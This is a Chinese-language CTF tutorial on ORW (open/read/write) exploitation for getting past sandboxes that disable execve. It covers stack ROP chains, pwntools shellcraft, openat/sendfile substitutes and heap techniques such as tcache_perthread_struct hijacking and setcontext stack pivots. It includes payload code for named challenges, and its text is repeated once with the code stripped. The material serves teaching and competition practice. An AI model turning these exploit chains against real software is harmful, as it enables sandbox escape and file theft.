深入探讨栈和堆中ORW的利用方式
字数 1817 2025-08-25 22:59:15

栈和堆中ORW利用方式详解

ORW基础概念

ORW是open、read、write三个系统调用的首字母缩写,在CTF比赛中常用于绕过沙箱限制(如禁用execve函数)获取flag。

ORW基本原理

  1. open - 打开flag文件
  2. read - 读取flag内容
  3. write - 输出flag内容

关键参数说明

  • open(file, oflag)

    • file: 文件名(如"flag"或"flag.txt")
    • oflag: 打开方式(通常设为0表示只读)
  • read(fd, buf, n_bytes)

    • fd: 文件描述符(ORW中通常设为3表示从文件读取)
    • buf: 存储读取内容的缓冲区地址
    • n_bytes: 读取字节数
  • write(fd, buf, n_bytes)

    • fd: 文件描述符(通常设为1表示标准输出)
    • buf: 要输出的内容地址
    • n_bytes: 输出字节数

栈上的ORW利用

ROP链构造ORW

最常见的方式是通过ROPgadget在ELF文件或libc中寻找合适的gadget来设置寄存器参数。

关键寄存器

  • rax: 系统调用号
  • rdi:
    • open中存储file地址
    • read/write中存储fd
  • rsi:
    • open中存储oflag
    • read/write中存储buf
  • rdx: 存储输入/输出的字节数大小

例题分析:[HGAME 2023 week1]orw

  1. 漏洞分析:

    • 禁用execve
    • read函数只允许0x28字节,需要栈迁移
  2. 利用步骤:

    • 第一次read泄露libc地址
    • 第二次read进行栈迁移到bss段
    • 构造完整的ORW ROP链
  3. 关键payload:

# 栈迁移payload
payload_migration = b'a'*0x100 + p64(elf.bss() + 0x300 + 0x100) + p64(lea_rax)

# ORW ROP链
payload = b'/flag\x00\x00\x00' + p64(pop_rdi) + p64(bss+0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)

shellcraft模块ORW

pwntools的shellcraft模块可以简化ORW构造,但需要可执行内存区域。

基本形式

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, buf, n_bytes)
shellcode += shellcraft.write(1, buf, n_bytes)

例题:第二届贺春杯shellcode

  1. 漏洞分析:

    • 映射了可执行内存区域
    • 可以直接写入shellcode
  2. 利用payload:

shellcode = shellcraft.open('./flag\x00')
shellcode += shellcraft.read(3, shellcode_addr+0x300, 0x200)
shellcode += shellcraft.write(1, shellcode_addr+0x300, 0x200)
shellcode = asm(shellcode)

禁用部分函数的ORW变种

当open/read/write被禁用时,可以使用替代函数:

  • open被禁 → 使用openat
  • write被禁 → 使用puts
  • read被禁 → 使用readv或sendfile

sendfile函数详解

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
  • out_fd: 目标文件描述符(类似write的fd)
  • in_fd: 源文件描述符(类似read的fd=3情况)
  • offset: 从文件内容offset字节处开始读取
  • count: 读取字节数

例题:XYCTF orw

  1. 漏洞分析:

    • 几乎所有ORW相关函数都被禁用
    • 需要使用sendfile替代read+write
  2. 汇编实现ORW:

shellcode = f"""
    xor rsi,rsi;
    mov rbx,{convert_str_asmencode("/flag")};
    push rbx;
    mov rdx,0;  # 设置oflag为0
    mov r10,0;
    mov rdi,3;  # 文件描述符3
    mov rsi,rsp
    mov eax,257;  # openat的系统调用号
    syscall;
    mov rsi,3;  # in_fd
    mov r10,50;  # n_bytes
    xor rdx,rdx;
    mov rdi,rdx;
    inc rdi;  # out_fd
    mov eax,40;  # sendfile的系统调用号
    syscall;
"""

堆上的ORW利用

纯ROP链ORW

通过控制堆块在程序返回地址处布置ORW ROP链。

例题:[CISCN 2022 华东北]bigduck

  1. 漏洞分析:

    • UAF漏洞
    • 高版本libc(2.33)
    • 需要劫持tcache_perthread_struct
  2. 利用步骤:

    • 泄露libc和heap地址
    • 通过environ泄露栈地址
    • 伪造chunk修改返回地址
    • 布置ORW ROP链
  3. 关键payload:

# 泄露heap_base
show(0)
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12

# 布置ORW ROP链
orw = p64(0)*3 + p64(pop_ret) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(heap_base+0x300) + p64(puts_addr)

setcontext+ORW

利用setcontext函数通过rdi寄存器控制其他寄存器,特别是mov rsp, qword ptr [rdi + 0xa0]实现栈迁移。

例题:[CISCN 2021 初赛]silverwolf

  1. 漏洞分析:

    • 只能操作最近申请的堆块
    • 需要劫持tcache_perthread_struct
  2. tcache_perthread_struct结构:

typedef struct tcache_perthread_struct {
    char counts[TCACHE_MAX_BINS];  // 记录各bin的堆块数量
    tcache_entry *entries[TCACHE_MAX_BINS];  // 各bin链表的首chunk fd指针
} tcache_perthread_struct;
  1. 利用步骤:

    • 劫持tcache_perthread_struct
    • 泄露libc地址
    • 布置堆块控制流
    • 使用setcontext进行栈迁移
    • 执行ORW
  2. 关键payload:

# 劫持tcache_perthread_struct
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)

# 布置堆块控制流
payload = b'\x00'*0x40  # 修复counts数组
payload += p64(free_hook) + p64(0)  # 0x20 0x30
payload += p64(flag_addr) + p64(fake_orw1)  # 0x40 0x50
payload += p64(fake_orw2) + p64(orw1)  # 0x60 0x70
payload += p64(orw2)  # 0x80
edit(payload)

# ORW shellcode
shellcode = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall)  # open
shellcode += p64(rdi) + p64(3) + p64(rsi) + p64(orw1) + p64(rdx) + p64(0x100) + p64(read)  # read
shellcode += p64(rdi) + p64(1) + p64(write)  # write

总结

ORW利用方式多样,主要分为栈上和堆上两种场景:

  1. 栈上ORW:

    • ROP链构造
    • shellcraft模块简化
    • 函数禁用时的替代方案
  2. 堆上ORW:

    • 纯ROP链利用
    • setcontext+ORW组合利用

关键点:

  • 熟悉系统调用参数传递规则
  • 掌握寄存器控制技巧
  • 灵活应对不同保护机制
  • 根据题目限制选择合适的ORW变种

随着libc版本更新,ORW利用方式也在不断演变,需要持续学习和实践。

栈和堆中ORW利用方式详解 ORW基础概念 ORW是open、read、write三个系统调用的首字母缩写,在CTF比赛中常用于绕过沙箱限制(如禁用execve函数)获取flag。 ORW基本原理 open - 打开flag文件 read - 读取flag内容 write - 输出flag内容 关键参数说明 open(file, oflag) file : 文件名(如"flag"或"flag.txt") oflag : 打开方式(通常设为0表示只读) read(fd, buf, n_ bytes) fd : 文件描述符(ORW中通常设为3表示从文件读取) buf : 存储读取内容的缓冲区地址 n_bytes : 读取字节数 write(fd, buf, n_ bytes) fd : 文件描述符(通常设为1表示标准输出) buf : 要输出的内容地址 n_bytes : 输出字节数 栈上的ORW利用 ROP链构造ORW 最常见的方式是通过ROPgadget在ELF文件或libc中寻找合适的gadget来设置寄存器参数。 关键寄存器 rax : 系统调用号 rdi : open中存储file地址 read/write中存储fd rsi : open中存储oflag read/write中存储buf rdx : 存储输入/输出的字节数大小 例题分析:[ HGAME 2023 week1 ]orw 漏洞分析 : 禁用execve read函数只允许0x28字节,需要栈迁移 利用步骤 : 第一次read泄露libc地址 第二次read进行栈迁移到bss段 构造完整的ORW ROP链 关键payload : shellcraft模块ORW pwntools的shellcraft模块可以简化ORW构造,但需要可执行内存区域。 基本形式 例题:第二届贺春杯shellcode 漏洞分析 : 映射了可执行内存区域 可以直接写入shellcode 利用payload : 禁用部分函数的ORW变种 当open/read/write被禁用时,可以使用替代函数: open被禁 → 使用openat write被禁 → 使用puts read被禁 → 使用readv或sendfile sendfile函数详解 out_fd : 目标文件描述符(类似write的fd) in_fd : 源文件描述符(类似read的fd=3情况) offset : 从文件内容offset字节处开始读取 count : 读取字节数 例题:XYCTF orw 漏洞分析 : 几乎所有ORW相关函数都被禁用 需要使用sendfile替代read+write 汇编实现ORW : 堆上的ORW利用 纯ROP链ORW 通过控制堆块在程序返回地址处布置ORW ROP链。 例题:[ CISCN 2022 华东北 ]bigduck 漏洞分析 : UAF漏洞 高版本libc(2.33) 需要劫持tcache_ perthread_ struct 利用步骤 : 泄露libc和heap地址 通过environ泄露栈地址 伪造chunk修改返回地址 布置ORW ROP链 关键payload : setcontext+ORW 利用setcontext函数通过rdi寄存器控制其他寄存器,特别是 mov rsp, qword ptr [rdi + 0xa0] 实现栈迁移。 例题:[ CISCN 2021 初赛 ]silverwolf 漏洞分析 : 只能操作最近申请的堆块 需要劫持tcache_ perthread_ struct tcache_ perthread_ struct结构 : 利用步骤 : 劫持tcache_ perthread_ struct 泄露libc地址 布置堆块控制流 使用setcontext进行栈迁移 执行ORW 关键payload : 总结 ORW利用方式多样,主要分为栈上和堆上两种场景: 栈上ORW : ROP链构造 shellcraft模块简化 函数禁用时的替代方案 堆上ORW : 纯ROP链利用 setcontext+ORW组合利用 关键点: 熟悉系统调用参数传递规则 掌握寄存器控制技巧 灵活应对不同保护机制 根据题目限制选择合适的ORW变种 随着libc版本更新,ORW利用方式也在不断演变,需要持续学习和实践。